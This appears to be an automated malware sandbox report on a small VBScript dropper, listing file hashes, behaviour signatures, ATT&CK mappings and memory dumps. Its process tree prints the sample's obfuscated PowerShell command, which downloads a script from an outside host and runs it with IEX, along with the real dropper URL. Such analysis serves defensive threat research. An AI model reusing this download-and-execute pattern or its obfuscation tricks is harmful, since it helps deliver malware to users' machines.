adeff8d430d7b1a1e66e8dfe0d82019a850a7f9d6c597e7e304eaff7c27626e8

Analysis

max time kernel
118s
max time network
134s
platform
windows7_x64
resource
win7-en-20210920
submitted
21-10-2021 18:21

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

JOJLKD8241.vbs
Size

747B
MD5

428942122b9451d2f4e1b8e0f1ae30c9
SHA1

95510a49b43260e32824409ca4559f31f1b5dc5b
SHA256

adeff8d430d7b1a1e66e8dfe0d82019a850a7f9d6c597e7e304eaff7c27626e8
SHA512

d6a1b3b88f49b55a653d0fb0019290acf22e55ef15d2dfd8baed4d92fcdfceaa9a84c558d6982a95c6196c812abf4ff49f0ba7253610fb5f3b81552d1ee0639c

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://lawsonplace.com/.final.txt

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 928 powershell.exe
6 928 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

928 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 928 powershell.exe

flow	pid	process
5	928	powershell.exe
6	928	powershell.exe

pid	process
928	powershell.exe

description	pid	process
Token: SeDebugPrivilege	928	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 1776 wrote to memory of 928	1776	WScript.exe	powershell.exe
PID 1776 wrote to memory of 928	1776	WScript.exe	powershell.exe
PID 1776 wrote to memory of 928	1776	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\JOJLKD8241.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1776

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow^!loadStri^!g'.replace('^!','n'),[Microsoft.VisualBasic.CallType]::Method,'https:++++++++++++++++++++++++/.final.txt'.Replace('++++++++++++++++++++++++','//lawsonplace.com'))|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:928

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/928-55-0x0000000000000000-mapping.dmp

Download
memory/928-57-0x000007FEF2C90000-0x000007FEF37ED000-memory.dmp

Filesize
11.4MB

Download
memory/928-58-0x00000000023B0000-0x00000000023B2000-memory.dmp

Filesize
8KB

Download
memory/928-59-0x00000000023B2000-0x00000000023B4000-memory.dmp

Filesize
8KB

Download
memory/928-60-0x00000000023B4000-0x00000000023B7000-memory.dmp

Filesize
12KB

Download
memory/928-61-0x000000001B7B0000-0x000000001BAAF000-memory.dmp

Filesize
3.0MB

Download
memory/928-62-0x00000000023BB000-0x00000000023DA000-memory.dmp

Filesize
124KB

Download
memory/1776-54-0x000007FEFC271000-0x000007FEFC273000-memory.dmp

Filesize
8KB

Download